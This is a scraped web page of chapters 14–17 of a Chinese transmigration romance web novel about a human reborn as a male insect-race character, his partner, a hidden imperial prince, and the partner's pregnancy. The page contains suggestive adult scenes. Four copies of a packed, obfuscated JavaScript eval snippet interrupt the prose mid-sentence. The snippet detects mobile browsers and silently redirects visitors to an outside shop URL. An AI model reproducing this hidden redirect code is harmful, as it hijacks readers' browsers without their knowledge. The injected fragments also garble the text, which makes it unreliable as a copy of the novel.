;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132584|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以置信的光芒,仿佛濒死之人终于抓住了救赎的绳索。 下一秒,他毫无征兆地张开手臂,狠狠抱住了纳尔的肩膀,力道大得让纳尔肋间生疼,骨骼轻响,仿佛要将自己碾碎、再融入对方的骨血之中。 “我就知道……我猜对了……” 低沉的声音紧贴在纳尔耳畔响起,带着一种劫后余生般的颤抖。 二虫相拥了约莫十分钟,忽然,则法尼亚不知道想起了什么,再次俯身贴在了纳尔的耳侧: “雄主,你我同为人类,如今连最亲密的事情也做过了,从今往后,我就是你的人了。” “不过,有件事我必须提前告诉您。” 他稍微退开一点,抬起头,唇边勾起一抹极淡的弧度,一字一句道: “我现在这具身体,是可以受孕的。” 听到这句话的一刹那,纳尔心底确实掠过一丝猝不及防的惊讶。 他并非对这个世界的生理规则一无所知,也早已模糊地意识到,若与则法尼亚的关系继续发展,终有一日可能会面临“后代”这个命题。 但他从未想过是在现在。 然而,那惊讶迅速被更复杂的情绪覆盖。他不想承认,但内心深处确实涌起了一丝……微弱的、新奇的期待。 孩子。一个与他血脉相连、更与则法尼亚密不可分的全新生命。 这对曾是孤身一人的他来说,是完全陌生甚至带着些许畏惧的概念。 他害怕弱小,害怕自己无法胜任守护的职责,害怕让另一个生命重复他曾经历的不安。 可此刻,看着眼前的属于自己的雌君,一个无比清晰的念头压过了一切顾虑:无论未来如何,他都会竭尽所能,用自己的方式,守护好他们。 他低头,望进那双正紧张凝视着自己、等待宣判般的蓝色眼眸。那里面藏着不易察觉的忐忑,与一丝豁出去的执拗。 纳尔没有用言语回答。他倾身向前,极轻柔地、带着抚慰的意味,将一个温热的吻印在了则法尼亚微凉的脸颊上。 “我知道的。”他的声音很轻,贴着皮肤传来,“我都知道。” 则法尼亚被他这突如其来的亲昵怔住,随即,那紧绷的嘴角无法抑制地扬起,眉眼瞬间弯成了愉悦的弧度。 他立刻反客为主,抬手捧住纳尔的脸颊,准确无误地吻上了他的唇。 分开时,他额头轻抵着纳尔的,眼里先前那份沉重已消散无踪,取而代之的是一种近乎顽皮的轻松,他笑弯了眉,口吻中带着些许打趣。 “不过雄主,虫族的自然受孕率可是很低的哦。”他的指尖轻轻点了点纳尔的胸口,语气里带着明显的促狭和鼓励,“所以……您可能得,多多加油才行呢。” 14. 皇子 路法索在纳尔的悬浮车外等了约莫一个多小时,几乎要将脚下的地面看出个洞来,才终于等到那扇车门滑开。 走下来的却只有那位棕发雄虫阁下。路法索下意识地朝他身后望去——空空如也。 某些过于生动的、不宜宣之于口的画面开始在脑海中不受控制地闪现。 他猛地将目光转回眼前这位看似温和又瘦弱的雄虫阁下身上,眼神里不受控制地掺入了一丝混杂着敬畏与难以置信的打量。 要知道,九皇子的体质可是帝国皇虫之最,如今竟然…… “你们有什么事吗?” 纳尔平静的询问将路法索从过于发散的思绪里拽了回来。 后者立刻收敛心神,挺直背脊,换上公事公办的严肃表情: “阁下,剧院内所有涉事虫员已被我方控制,现场初步清理完毕。特来向您请示,应如何处置他们?” 按常理,这等要务该直接向则法尼亚殿下禀报。 但殿下此刻……显然不便。 向这位与殿下关系匪浅的雄虫阁下汇报,便成了最合乎情理的选择。 纳尔的目光掠过不远处被暂时看管、神情萎靡的军雌们,其中不少身上还带着伤。 “优先救治伤员。”纳尔继续道:“对了,他们之前中了强制诱导剂,你们有办法处理吗?” “请您放心,我们随队携带了高纯度仿造信息素缓释剂。”路法索答道,“只要不是恰好临近自然发.情期,基本可以缓解药效。” 发.情期。 纳尔眸光微动。 原来如此,症结在这里,难怪则法尼亚会那般失控。 “好,等他们恢复意识,情绪稳定后,再设法联系其家虫或所属部队吧。”纳尔沉吟片刻,忽然问道,“这些被袭击的军雌,都是些什么虫?” “他们大多是刚结束‘阿波罗’边境战役,正轮换返乡休整的伤员军雌。”路法索声音微沉,“没想到会在此遭遇星盗。” “星盗?” 纳尔想起剧院中那身着华衣的老雄虫马力娜拉,以及那群训练有素却助纣为虐的军雌,语气意外道: “他们竟然是星盗?我还以为他们来自……帝国。” 路法索面色凝重:“阁下明察。马力娜拉及其核心党羽,实为数十年前叛逃帝国的重犯。此后他们盘踞星际边缘,确已成为势力颇大的星盗集团。虫皇陛下曾多次下令清剿缉拿,却总在关键时刻遭遇各种……” 他话锋至此,陡然意识到自己透露得有些多,立刻噤声,略带忐忑地瞥了纳尔一眼。 纳尔接收到了他未尽的暗示,也明白其中牵扯可能甚广,于是不再深究,自然地转换了话题: “等我将则法尼亚安顿好后,再带相关虫来辨认、领回这些受袭的军雌。” 他的目光落在路法索及其部下军装醒目的皇室徽标上,心中了然。 “至于那位雄虫阁下,”纳尔神色不变,“等你们的九殿下亲自定夺吧。” 纳尔明白,在这个雄虫地位尊崇的世界,即便路法索军阶不低,要直接处置一名老牌雄虫罪犯,或许易惹非议。 这种麻烦,自然该留给皇室,留给那位“九殿下”亲自处理。 * 伤员被就近安置在一栋尚未被爆炸完全摧毁的医院楼内。纳尔远远望了一眼虫群,正欲转身离开,一个怯生生的声音叫住了他。 “雄虫阁下……” 纳尔回过头。 眼前,是那只在剧院废墟外,哀求他去救哥哥的小雌虫。 他脸上还沾着黑灰和干涸的血迹,他下意识想伸手去拉纳尔的衣袖,却在看到自己脏污的手指时猛地缩了回去。 “谢、谢谢您,阁下,”小雌虫的声音带着哽咽,“谢谢您救了我哥哥。” 纳尔安静地看着他,轻轻摇了摇头:“不必谢我。我并未真正帮上什么忙。” “不,不是的!”小雌虫急切地抬头,眼眶发红,“如果您当时没有进去,哥哥他肯定撑不到军雌赶来……” “雄主?” 一道熟悉的声音打断了小雌虫的话。 纳尔循声望去。则法尼亚正朝他走来,银发在阳光下流淌着微光,精神显然好了许多。 则法尼亚目光先是落在纳尔身上,随即转向他身前的小雌虫。 “这位是?”则法尼亚的语调听不出太多情绪。 “您、您好。”小雌虫被他无形的气场慑住,脊背一寒,声音更小了。 “幸存者?”则法尼亚唇角极淡地弯了一下,笑意未达眼底,“这个星球上有你的亲属吗?去带他们过来,认领伤员。” 小雌虫求助似的看了纳尔一眼。 纳尔对他微微颔首,语气温和:“去吧。这里很安全。” “……是。”小雌虫低声应道,话音落下的瞬间,一股无形却无法抗拒的力量悄然笼罩了他。 ——有虫在用精神力逼他离开! 然而,小雌虫仅仅慌张了一秒,就明白了对自己动手的那虫是谁,他不甘地抿了抿唇,加快了脚步离开。 直到那小雌虫的身影消失在拐角,纳尔才转回头,看向身旁的则法尼亚: “你怎么过来了?身体还有不舒服吗?” “雄主,有件事我得和您说明白。” 则法尼亚凑近了些,几乎贴着纳尔的耳廓,温热的气息拂过皮肤,“我现在这具身体,和人类的男性终究是不同的。” 他的声音又低了一度,像是在分享一个秘密:“做那种事,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132585|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会一直不舒服。恰恰相反……很舒服。不瞒您说,我甚至觉得还有点……没被满足。” 纳尔的身体几不可察地僵了一下。 则法尼亚像是没察觉到他的细微反应,继续用着某种恶劣趣味的语气,慢悠悠地说:“不过嘛,看在雄主是第一次的份上,表现还算不错。所以……”他顿了顿,尾音微微上扬,带着清晰的暗示,“我们什么时候,来第二次?” “……” 纳尔感觉自己的耳根控制不住地有些发热。 他沉默了两秒,果断选择了无视这个问题,视线飘向不远处的路法索一行,语气生硬地转移话题:“路法索他们那边,情况处理得怎么样了?” “他们有什么好担心的呀。”则法尼亚撇了撇嘴,对于雄主明显的逃避显得有点闷闷不乐,“雄主,我跟您说正事呢。” “对了,那位九殿下,”纳尔充耳不闻,自顾自地抛出另一个问题,“是不是已经抵达这里了?我想见他一面。” “嗯?为什么?”则法尼亚猛地抬头,带着笑意的蓝眸中闪过一丝清晰的惊愕和慌乱。 一种莫名的、强烈的抵触情绪涌了上来。 他忽然非常、非常不想让纳尔现在就知道“九殿下”究竟是谁。 而纳尔这边,他自己也说不清,心头为何会如此执着地想见那位九皇子一面。 或许是因为他总是出现在自己身边,却无一机会见面。又或许是他实在好奇这个世界的贵族的模样,他们会和马力娜拉一样吗?还是会和地球上的那些一样? 纳尔对那九皇子一无所知,那位皇子姓甚名谁,是何模样,脾性如何,皆是一片空白。 但则法尼亚不同,他在这虫族社会中生活数年,或许知晓些什么。 这般想着,纳尔便自然而然地将目光投向身旁的雌虫。 “则法尼亚,”他问道,“你知道那位九皇子吗?他是什么样的虫?” “他、他啊……”则法尼亚的眼神罕见地游移起来,“我不知道该怎么形容……反正就是,呃,一个……” 见则法尼亚支吾半晌也说不出个所以然来,纳尔便不再追问,转而换其他方式。 他打开了不太熟悉的终端,指尖在光滑的屏幕上略显迟疑地滑动,最终打开了星网。 “雄主,您这是要做什么?”则法尼亚见状,心头莫名一紧,连忙问道。 纳尔头也没抬,一脸认真道:“我想自己先查查看,关于这位九皇子的事。” “等、等等!” 则法尼亚几乎是脱口而出,伸手想去按住他的手腕。然而,纳尔的手指已经落了下去。 几个简洁的字符被输入,搜索键被轻触。 屏幕一闪,页面跳转的加载符号旋转了半圈。 15. 怀孕 眼见页面已经加载完成,则法尼亚逃避式地抬手捂住了眼睛。 然而几秒钟过去了,预想中的质问并未降临。 他指缝微微张开,迟疑地从缝隙中向外窥去。纳尔正微微歪着头,盯着手中的终端屏幕,脸上不是震惊或了然,而是……困惑。 怎么了? 他放下手,忍不住凑近了些。纳尔察觉到他的靠近,直接将终端屏幕转向他,语气里带着点无奈:“你看。” 屏幕中央,赫然是一行清晰而冰冷的提示文字: 权限不足,您无权查看此等级机密信息。 则法尼亚紧绷的脊背骤然一松,一股巨大的庆幸涌上心头。 他差点忘了,帝国皇室核心成员的信息,尤其是他这位常年行踪不定、权限极高的“九皇子”的详细资料,向来被列为高等级机密。 “还可以这样啊……”纳尔眨了眨眼,对这个世界的森严等级有了新的认识。查不到就算了,他本就不是非要知道不可。 “那我们先回去吧,”他将终端收起,恢复了平日的语调,“带虫来认领伤员是正事。” “好。”则法尼亚立刻应声。 然而,就在纳尔准备迈步时,他意外察觉到身旁的目光并未移开。纳尔转过头,发现则法尼亚正一眨不眨地看着自己,蓝色的眼眸里闪烁着好奇与一丝……纠结。 “怎么了?” 则法尼亚指尖无意识地蜷缩了一下:“雄主,我能好奇一下吗?您觉得,那位九皇子……是个怎么样的虫?” 问完,他自己心头也不由自主地微微一紧。 尽管不能暴露,但这个念头一旦冒出来,就像羽毛轻搔,挥之不去。 他先前让路法索一行“无意间”暴露隶属九皇子的身份,本就是为了在雄主心中种下一点印象,不动声色地铺垫些许好感。 他迫切地想知道,先前那点铺垫是否起了作用。 纳尔略作思索:“虽然没见过,但从目前他处理这件事的方式来看。感觉,应该是个还不错的虫。” 话音落下,则法尼亚先是微微一怔,随即飞快地转过了头,就在他转头的刹那,对方那抿紧的唇角,克制不住地向上弯起了一个小小的弧度。 …… 在当地虫员的协助下,联系伤员家属的工作推进迅速。 让纳尔有些意外的是,那只在废墟外哀求他去救哥哥的小雌虫,他在第七十星区唯一的亲属,竟然就是之前那只将他骗去与阿莱文西见面、还因此被扯断胳膊的小雌虫。 年长些的叫塞亚,年幼断臂的那个,叫菲亚特。 在临时病房,菲亚特几乎在纳尔踏入的瞬间就注意到了他。小小的身体猛地一僵,下意识就想往塞亚身后缩。 但他没想到,塞亚会主动拉着他的手,朝纳尔的方向问好: “阁下。” 纳尔循声望去,目光越过塞亚,几乎是立刻就落到了后面那个恨不得把自己缩成一团的蓝发小身影上。 他微微顿了一下,面上并未显露什么情绪,只是平静地走到塞亚面前。 “你哥哥情况怎么样了?” “医生说已经脱离危险了,阁下,”塞亚感激地回答,“多亏了您。” “不必谢我。”纳尔语气温和,视线淡淡扫过菲亚特——那只曾经被暴力扯断的手臂,如今看来已恢复了。 塞亚察觉到雄虫的目光,连忙将菲亚特往前轻轻推了推:“阁下,这是我哥哥的虫崽,叫菲亚特。菲亚特,快问好。” “您、您好,阁下。”菲亚特的声音细如蚊蚋,头埋得更低。 “你好。”纳尔点了点头,并未多言,“你们去休息吧,这里交给我们。” “我们想等哥哥醒……”塞亚的话说到一半,眼角余光忽然瞥见一道修长的身影正朝这边走来。 那熟悉的银发和冰冷气息让他瞬间噤声,匆忙改口,“不,我们先去吃点东西。阁下,下次再见!” 说完,他几乎是半拉半拽地带着一脸茫然的菲亚特,匆匆离开了。 纳尔看着他们近乎逃离的背影,有些不明所以。 下一秒,一股熟悉的清冽气息自身后靠近,温热的手掌轻轻搭在了他的肩膀上。 “雄主,”则法尼亚的声音在耳边响起,带着一丝探究,“您似乎不太喜欢那只蓝头发的小雌虫?” 他说的是菲亚特。 纳尔没有否认,点了点头。 如今他与则法尼亚已是伴侣,许多事无需刻意隐瞒。他简单地将之前菲亚特受阿莱文西指使、欺骗他的事情告诉了则法尼亚。 “我不喜欢欺骗。”纳尔垂眸,声音很平静,“其实,即便他不骗我,只要我知道他需要帮助,我也一样会去。” 则法尼亚静静地听着,目光落在纳尔沉静的侧脸上。雄主说这话时,语气里并没有多少愤怒,更像是在陈述一个事实。 突然间,则法尼亚的心像被什么东西轻轻刺了一下。 早上,在悬浮车里,他自己那些欲言又止、刻意回避关于“九皇子”话题的举动,对雄主而言,是否……也算是一种“欺骗”? 这个念头如同冰冷的蔓藤,悄无声息地缠绕上来。 他搭在纳尔肩上的手忍不住收紧了一瞬,指尖微微陷入掌心。 他突然……有些后悔了。 * 傍晚,医院门外 “在家乖乖等我回来,雄主。” 则法尼亚倾身在纳尔唇上落下一个轻吻,挥了挥手,随即转身离去。 纳尔指尖轻触唇瓣,目送着自家雌君三步一回头的身影,直到那抹白色彻底消失,才转身上了悬浮车。 则法尼亚方才解释,因星盗袭击,工作出了意外,需要去与“老板”当面沟通。 纳尔对这个理由未置一词,只是安静地看着则法尼亚匆匆走向那所坍塌剧院的方向。 可他分明记得,则法尼亚提过,他的工作地点,并不在那附近。 忽然间,一个模糊却惊人的猜测,倏地划过纳尔的心头。 …… 则法尼亚刚踏入临时安置所,路法索便快步迎了上来,面色凝重:“殿下,出事了。马力娜拉和那些军雌……全部自尽了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132586|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“自尽?”则法尼亚嗤笑一声,冰蓝色的眸中掠过极冷的嘲讽,“你们想得太简单了。” 他径直走向马力娜拉的尸体,蹲下.身,修长的手指拨开对方颈后杂乱的发丝,在皮肤与头发的交界处细细摸索。 片刻,他的指尖触到了一块米粒大小的微型芯片。 “远程神经控制芯片,”则法尼亚用镊子将其小心取下,置于光下查看,“看来是‘他’亲自动的手,这是要杀虫灭口。” 他站起身,走到窗边,望向窗外荒凉的星球景象。 “他们声称,来这颗星球是为了寻找一个特定的雄虫,以及只有这里才存在的‘某样东西’。”白发雌虫眉间凝聚着忧虑,“这颗星球藏着秘密。但我更担心的是,他们要找的那个雄虫……” 会是纳尔吗? 这个念头让他心底发寒。 阿莱文西几乎驱逐了星球上所有的雄虫,侥幸存留的寥寥无几,而他的雄主,恰好是其中之一。 身份、时机,都太过巧合。 可令则法尼亚百思不得其解的是,远在帝国的“他”,为何会与这颗地处偏远的星球产生关联?那所谓的“特有之物”,又究竟是什么? …… 星盗事件平息后的一个月,第七十星区逐渐步入灾后重建。 这几日铁器订单暂时稀少,纳尔又恢复了整日与小说为伴的日子。 而则法尼亚近日却变得异常忙碌,名为“送货”不过是个幌子,实际上他正率领路法索等虫,暗中搜寻着那件“特有物”。 这几天,他隐约感到身体有些异样,容易疲惫,精神力似乎也不如往常那般凝练。他只当是连日奔波所致。 这天,则法尼亚像往常一样利用精神力感知地下异常波动时,猛地察觉不对。 他的精神力……竟然连十厘米厚的岩层都无法穿透。 他心中一惊,连忙排查周身情况,部下皆在视线之内,绝无被下药或偷袭的可能。 那他的身体是怎么回事? 电光石火间,久远记忆深处的一句话猛然浮现。那是多年前生理课上,老师讲述的一句常识: “雌虫一旦成功受孕,为保护虫崽,其精神力水平会在短期内出现显著的下降。” 难道? 则法尼亚霍然起身。 “路法索,这里交给你,我有急事回去一趟。” “是,殿下。”路法索不疑有他。 则法尼亚行动果断,先是绕路去药店迅速购买了检测用品,随后便以最快速度赶回家中。 * 纳尔在夕阳完全落下前回到了家。意外地,屋内透出了温暖的灯光。 则法尼亚回来了?今天怎么这么早? “则法尼亚,你……” 纳尔推开家门,话还未说完,一道身影便带着熟悉的气息扑入怀中。 则法尼亚紧紧搂住他的脖颈,将一张小小的试纸举到他眼前,兴奋的声音带着颤抖: “雄主,您太厉害了……” 他顿了顿,清晰地吐出后半句: “一发就中。” 16. 恢复 “什么一发就中?”纳尔一脸茫然地接过则法尼亚塞过来的那张薄薄试纸。 白色的试纸上,两道清晰的红线格外醒目。 这东西……看着有点眼熟。在哪里见过呢? 恍惚间,记忆的碎片猛然拼合——是了,很久以前,在他原本的世界里,邻居家的师娘怀孕时,似乎也曾拿出过类似的东西。 纳尔的眼睛倏然睁大,难以置信地看向怀中笑容灿烂的雌虫。 “你、你怀孕了?!” “嗯!”则法尼亚用力点头,眉梢眼角都透着纯粹的喜悦,银色的发丝随着动作轻轻晃动。 “可你之前不是说过,雌虫很难自然受孕吗?”纳尔感觉喉咙有点发干,心跳快得不合时宜,一股混杂着震惊、茫然和一丝慌乱的情绪攥住了他。 怎么、怎么就突然有了?这也太快了!他甚至还没完全适应这个世界“雄虫”的身份,更别提做好成为“雄父”的准备。 钱呢?他们现在住的地方够安全吗?未来…… “看来雄主在这方面很有天分呢。” 则法尼亚见他一副仿佛天要塌下来的模样,忍不住轻笑出声,伸手戳了戳他僵硬的脸颊,“虫崽是我来生,又不用雄主您亲自怀、亲自生,您这副表情做什么?” 他冰蓝色的眼眸微微眯起,带着一丝促狭,语调却渐渐低了下去,试探着问,“还是说……雄主并不期待这个孩子,不想要……” “要。”纳尔几乎是立刻打断了他,他握住则法尼亚的手,指尖还有些许冰凉,但眼神已经沉淀下来,“生下来。这是我们的虫崽。” 说完,他自己耳根微微泛热,移开视线。 纳尔忽然想起二虫亲密时看到的,则法尼亚的身体构造虽与雌虫设定相符,但外在形态似乎与普通男性并无差异。 他忍不住问道:“可是,你这具身体,具体要怎么……”他斟酌着用词,有些难以启齿,“生?” 则法尼亚也被问得愣了一下。他虽是雌虫,但过往二十年从未真正思考过如此细节的问题。 他蹙眉思索片刻,凭着虫族世界的常识推断:“这个世界,虫崽都是以蛋的形式出生的。所以,应该就是下蛋吧?” “那、那……”纳尔的脸更红了。他有点后悔开启这个话题,可强烈的好奇心还是驱使他继续,“我是说,你那里..….嗯.……”他比划了一下,声音越来越小,“虫蛋得多小才能……” 他结结巴巴,语无伦次,脸快要烧起来。 则法尼亚却瞬间听懂了他的未尽之言和担忧。他非但没有害羞,冰蓝色的眸子里反而掠过一丝狡黠的光芒。 他上前一步,几乎将纳尔抵在门边的墙上,温热的呼吸带着暖昧的气息,故意压低声音,一字一句地送入纳尔耳中: “雄主,为了虫崽顺利诞生,在虫崽出生之前……”他的指尖若有似无地划过纳尔的小.腹,“你可要好好努力,帮我''拓宽''产道哦~” 那拖长的尾音,像带着小钩子,轻轻挠在纳尔的心尖上。 * 自从确认则法尼亚怀孕后,纳尔便让他停下了“送货”的工作,安心在家休养。 本以为收入来源就此中断,日子会紧巴起来,却不料某日,那个名叫路法索的军雌,竟带着几位身着正式制服、自称“雄虫保护机构”的虫员登门。 那些虫态度恭敬,声称根据《雄虫保护法》数项条例,他们将为雄虫提供每月定额经济补贴,并立即安排搬迁至第七十星区A级居住区的指定居所。 半个小时后,纳尔提着自己和则法尼亚为数不多的行李,站在那栋崭新、宽敞、自带小庭院的双层别墅前,一时有些恍惚。 他这是…… 暴富了? 当雄虫的福利,居然这么好? 理智上,他并不想平白接受这样一份近乎“天上掉馅饼”的馈赠,总觉得背后或许有什么未知的代价。 但指尖下意识地抚上则法尼亚有些隆起的小腹——那里正孕育着一个小生命。 良心?原则?乖乖地为虫崽让让路吧。 一旁的则法尼亚将雄主脸上那份“挣扎后的妥协”看得清楚,忍不住低下头,嘴角弯起一个浅浅的弧度。 他抬手轻轻覆上自己的小.腹。 他确实不想再让虫崽住在之前那简陋甚至不安全的房子里。 如果可以,他更希望能将雄主直接带回帝国,给予他和小生命最周全的庇护。 只是…… 希望雄主日后知晓全部真相时,不要太生气才好。 * 傍晚时分,新家已基本安顿妥当。两虫都不是挑剔的性子,很快便熟悉了新的环境。 接下去几天,生活平静无波地度过,直到某个清晨,意外毫无预兆地降临。 则法尼亚在睡梦中被一股异常浓郁、清冽的气息唤醒。 那是一股他曾经嗅过的,熟悉的花茶香,这股香气精准地勾起了他记忆深处那个被药力支配的夜晚。 他曾经只在一个虫身上闻过。 这是……雄主信息素的味道? 怎么回事?雄主不是不会散发信息素吗? “呃……” 则法尼亚撑着床垫试图坐起,却感到一阵莫名的酸软自腰间蔓延,双腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132587|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使不上力气,皮肤底下仿佛有细小的火苗在窜动,带来一阵阵熟悉的燥.热。 他低头看去。 湿了? 这是……? 还没等他想明白,卧室门被“砰”地一声推开,纳尔慌慌张张地冲了进来。 “则法尼亚!”他一手捂着眼睛,另一只手指着自己的头顶,声音里满是惊愕与无措:“这是怎么回事?我怎么变成蜗牛了?” 蜗牛? 则法尼亚强忍身体的异样,抬头望去。 只见纳尔棕色的发丝间,赫然探出两根柔软、半透明的……触须?它们正随着主人的慌乱轻轻摆动。 “精神触角?”则法尼亚瞳孔微缩。 雄主不是没有精神力吗? 怎么会突然实体化出如此清晰的精神拟态? 纳尔又慌又懵,对这具虫族身体的奥秘知之甚少,完全无法理解一觉醒来头顶“长角”的怪事。 他本能地寻求雌君的帮助,几步凑到床边坐下:“这到底是怎么回事?我……” 话音未落,他身上的气息随着靠近愈发浓烈地笼罩下来。那清冽的花茶香瞬间变得极具存在感,丝丝缕缕钻入则法尼亚的鼻腔,瞬间侵入他的四肢百骸。 则法尼亚控制不住地溢出一声短促的呻.吟,整张脸连同脖颈瞬间绯.红一片。 “则法尼亚,怎么了?”纳尔被他突如其来的反应吓了一跳,反而靠得更进了一些。 “雄主……”则法尼亚的声音已经带上了难耐的喘.息,他下意识地揪紧了身下的床单,“您的信息素……收、收一收。” “信息素?” 他不是没有那东西吗? 纳尔虽然不明原理,却清晰地看到则法尼亚此刻的状态。 这模样,他只在那件事中见过。 “你又……发.情了?”纳尔几乎是脱口而出,语气里带着担忧。他下意识地伸出双臂,想将看起来很难受的雌君揽入怀中安抚。 就在他抱住则法尼亚的瞬间,头顶那两只新生的、他尚无法控制的柔软触角,仿佛被什么无形的东西强烈吸引,自发地向前延伸,轻轻触向了则法尼亚的额角与太阳穴附近。 “啊——!” 怀里的身躯骤然剧烈地颤抖了一下,像被一道细微却强烈的电流击中。 则法尼亚猛地仰起头,脖颈拉出优美的弧线,大口地喘.息着,手指无意识地死死攥住了纳尔的衣襟。 纳尔被这过激的反应惊得僵住,一时说不出话来。 只听见则法尼亚从喉咙深处溢出一声饱含欢.愉与失控的喟叹。 “给我。” 17. 误会 纳尔从未想过,某些他此前人生中完全空白的体验,竟会在短短时间内,以如此密集和……激烈的方式,一而再、再而三地发生。 棕发雄虫目光略显迟钝地从凌乱的床铺上坐起身,看了眼窗外早已完全暗沉的天色,无声地叹了口气。 他小心翼翼地调整姿势,双手环抱住枕在自己身上、已然昏睡过去的雌君,轻柔地将两虫相.连的部分分离。 “则法尼亚。”他低头,用指腹轻轻蹭了蹭雌君依旧泛着红晕的脸颊。 白发雌虫的眼睫微微颤动了一下,却依旧沉重得没有睁开,只是从鼻腔里发出一声含糊又带着浓浓倦意的轻哼:“唔……累……” 纳尔的手掌抚上他的腰背,带着安抚意味地揉了揉:“我抱你去清理一下。” “再等一会儿。”则法尼亚的声音黏糊糊的,像是在梦呓,又带着一丝莫名的执拗,“后面……还有一点……” “……” * 好在这栋新别墅的浴缸足够宽敞,容纳两个成年虫体也绰绰有余。 纳尔发现,每次亲密过后,则法尼亚总会变得格外黏人,这次也不例外,非要挤在他怀里。 他知道则法尼亚此刻必定疲惫不堪,便也由着他,只是动作轻柔地将他拢在身前。 纳尔低下头,看向怀里显得异常安静温顺的白发雌虫。 这样一言不发、全然依赖地依偎在他怀中的则法尼亚,倒是难得一见。 看来是真的累坏了。 “很累吗,则法尼亚?”纳尔一边问,一边取过沐浴用品,掌心搓出细密的泡沫,开始为他清洗那头银白的长发。 其实他毫无经验,也并不清楚其他伴侣之间是如何相处的。 在他与则法尼亚的关系里,主动引导、掌控节奏的,似乎总是则法尼亚。 “有点累,但主要是……爽吧。”则法尼亚倒是直言不讳,声音带着事后的慵懒。 纳尔手上的动作微妙地顿了一下,身体不由自主地往后挪了半寸。 “对了,”则法尼亚忽然顶着满头的泡沫转过头来,湿漉漉的蓝眸望向同样头发滴着水的纳尔。 然而,当视线真正聚焦在近在咫尺的雄主脸上时,他原本想说的话却忽然卡在了喉咙里。 雄虫棕色的发丝比初见时确实长了些,平日他会随意在脑后扎个小揪揪,此刻湿漉漉地披散在肩头,衬得脖颈和锁骨处的皮肤愈发白皙。 纳尔的眼睛是偏长的杏眼形状,平日里沉静温和,此刻在氤氲的水汽和暖黄灯光下,那双独特的紫色眼瞳少了些疏离,多了几分可爱。 则法尼亚并非第一次这样细细打量纳尔,从最初觉得他干瘦、拘谨,到现在身形变得匀称精悍,眉宇间也沉淀下更多属于这个世界的安然。 似乎是越来越顺眼,也越来越……让他移不开目光了。 “怎么了?”纳尔见他忽然盯着自己出神,不由唤了一声。 则法尼亚倏然回神,嘴角无意识地向上弯起:“没什么。只是……雄主,我有点好奇,您的精神力和信息素,究竟是怎么恢复的?之前不是完全没有吗?” “我也想知道。” 纳尔抿了抿唇,脑海中其实隐约浮现了一个猜测,只是缺乏依据,不敢确定。 “或许,您可以问问‘系统’?”则法尼亚提议道。他知道纳尔同样是穿越者,但不确定对方是否也拥有类似的存在。 “系统?”纳尔想起那个只出现过一次、看起来极其不靠谱的发光圆球,眼神里掠过一丝无奈,“我不知道它去哪了,可能——” “是谁在深情地呼唤我呀~” 忽然间,一个欢快的电子音毫无征兆地在浴室门口响起。 纳尔猛地瞪大眼睛,循声望去。 不是幻觉,真的是那个不负责任的白色圆球,它正拍打着它那对小翅膀,晃晃悠悠地飘了进来。 “宿主宿主!好久不见,有没有特别特别想我呀?”圆球乐颠颠地朝纳尔靠近。“我相信您一定特别想我,我都听见您叫我的名字啦!” 纳尔看到它的第一反应是迅速将怀里的则法尼亚往自己胸前搂了搂,用身体和水面尽可能挡住他,同时警惕地看向圆球: “你怎么会出现在这里?” “哎呀,我这不是突然想起来,我一直忘记给您发布正式任务了嘛!” 纳尔:“……” 这都过去多久了,你才想起来有任务这回事? “嘿嘿,”系统无视了宿主眼神里的无声控诉,试图绕过纳尔的肩膀去观察他怀里的雌君,却被纳尔眼疾手快地一把抓住“脑袋”,严严实实地挡了回去。 被捏住了一整张脸,系统也不挣扎,反而发出一种贼兮兮的“嘿嘿”笑声: “宿主,没想到您进度这么快呀。这才多久,连雌君都‘泡’到手了,还……嗯嗯!” 纳尔直接忽略了他揶揄的表情,也不见外,开门见山地问道自己信息素和精神力的事情。 “宿主,您应该察觉到了,原主的身份并不像你我想象中的那么简单,或许,您知道有关原身家族的某些事情。” 纳尔瞬间明白了系统的意思,顺着他的提示想到了自己之前看过的那本谢尔达阁下留下的日记。 上面记录着纳尔以及这个家族的秘密。 “怎么了,雄主?” 